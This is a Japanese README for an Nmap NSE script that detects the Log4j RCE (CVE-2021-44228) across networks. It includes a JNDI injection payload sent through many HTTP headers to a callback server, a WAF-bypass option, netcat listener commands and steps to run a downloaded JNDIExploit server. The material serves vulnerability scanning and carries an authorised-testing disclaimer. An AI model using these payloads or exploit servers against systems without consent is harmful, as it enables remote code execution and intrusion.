
Nmap Log4Shell NSE スクリプト: Apache Log4j RCE (CVE-2021-44228) を発見するための
nmap-log4shell は、ネットワーク全体で Apache Log4j RCE (CVE-2021-44228) の脆弱性を発見するための NSE スクリプトです。このスクリプトは、HTTP ヘッダー (デフォルト) または TCP/UDP ソケットを介して log4shell エクスプロイトペイロードを注入できます。
CVE-2021-44228 は、Apache Log4j 2 におけるリモートコード実行 (RCE) の脆弱性です。認証されていないリモートの攻撃者が、脆弱なバージョンの log4j を実行しているサーバーに特別に細工されたリクエストを送信することで、この欠陥を悪用する可能性があります。細工されたリクエストは、以下のようなさまざまなサービスを介した Java Naming and Directory Interface (JNDI) インジェクションを使用します:
脆弱なサーバーがリクエストをログ記録するために log4j を使用している場合、エクスプロイトは、攻撃者が制御するサーバーから上記のいずれかのサービスを介して JNDI 上で悪意のあるペイロードを要求します。悪用に成功すると、RCE につながる可能性があります。
システム上の nmap スクリプトの場所を確認します:
~/.nmap/scripts/ または $NMAPDIR にある可能性があります/usr/local/Cellar/nmap/<version>/share/nmap/scripts/ にある可能性がありますC:\Program Files (x86)\Nmap\scripts にある可能性があります提供されたスクリプト (log4shell.nse) をそのディレクトリにコピーし、nmap --script-updatedb を実行して nmap スクリプト DB を更新します。
nmap --script log4shell.nse --script-args log4shell.callback-server=172.17.42.1:1389 -p 8080 172.17.42.2
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-13 21:26 CET
Nmap scan report for 172.17.42.1
Host is up (0.000096s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
| log4shell:
| Payloads:
| ${jndi:ldap:/172.17.42.1:389/log4shell}
| Test Method: HTTP
| URL Path: /
| HTTP Method: GET
| HTTP Headers:
| Access-Control-Request-Method: 200
| Accept: 200
| Access-Control-Request-Headers: 200
| Accept-Charset: 200
| X-Api-Version: 200
| Warning: 200
| Pragma: 200
| Upgrade-Insecure-Requests: 200
| Range,: 400
| Hostname: 200
| Content-Length: 400
| Dnt: 200
| Date: 200
| Username: 200
| Content-Encoding: 200
| Content-Type: 200
| Forwarded: 200
| Max-Forwards: 200
| Accept-Encoding: 200
| Referer: 200
| IP: 200
| IPaddress: 200
| X-Amz-Date: 200
| X-Amz-Target: 200
| TE: 200
| Content-Disposition: 200
| X-Requested-With: 200
| upgrade-insecure-requests: 200
| Authorization: 200
| Cookie: 200
| User-Agent: 200
| Accept-Language: 200
| Proxy-Authorization: 200
| Expect: 417
| From: 200
| Accept-Datetime: 200
| X-CSRF-Token: 200
| Origin: 200
|_ Note: (!) Inspect the callback server (172.17.42.1:389) or web-application (172.17.42.2:8080) logs
log4shell.callback-server: コールバックサーバー (例: 172.17.42.1:1389)log4shell.http-headers: カンマ区切りの HTTP ヘッダーリスト (例: X-Api-Version,User-Agent,Referer)log4shell.http-method: HTTP メソッド (デフォルト: GET)log4shell.url-path: URL パス (デフォルト: /)log4shell.waf-bypass: WAF バイパスペイロードを使用する (デフォルト: false)log4shell.test-method: http (デフォルト), tcp, udp または でテストするこのスクリプトは、スキャン対象からのコールバックに依存しているため、ファイアウォールルールや他のセキュリティデバイスとの相互作用がスクリプトの有効性に影響を与えます。
netcat (または ncat) で TCP ポートをリッスンします:
ncat -vkl 1389 # Ncat
nc -lvnp 1389 # Netcat
--script log4shell.nse スクリプトを使用して Nmap を実行します
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
netcat (または ncat) の出力でターゲット IP アドレスを確認します:
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38898.
JNDIExploit を GitHub からダウンロードします (https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip)
JNDIExploit サーバーを起動します:
java -jar JNDIExploit.jar
--script log4shell.nse スクリプトを使用して Nmap を実行します
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
受信した LDAP クエリを確認するために JNDIExploit の出力を確認します
[+] Received LDAP Query: log4shell
[!] Invalid LDAP Query: log4shell
このプロジェクトは教育および倫理的なテスト目的のみで作成されています。事前の相互同意なしにターゲットを攻撃するために nmap-log4shell を使用することは違法です。適用されるすべての地域、州、連邦の法律を遵守することはエンドユーザーの責任です。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害についても責任を負いません。
このプロジェクトは MIT ライセンスの下で提供されています。
all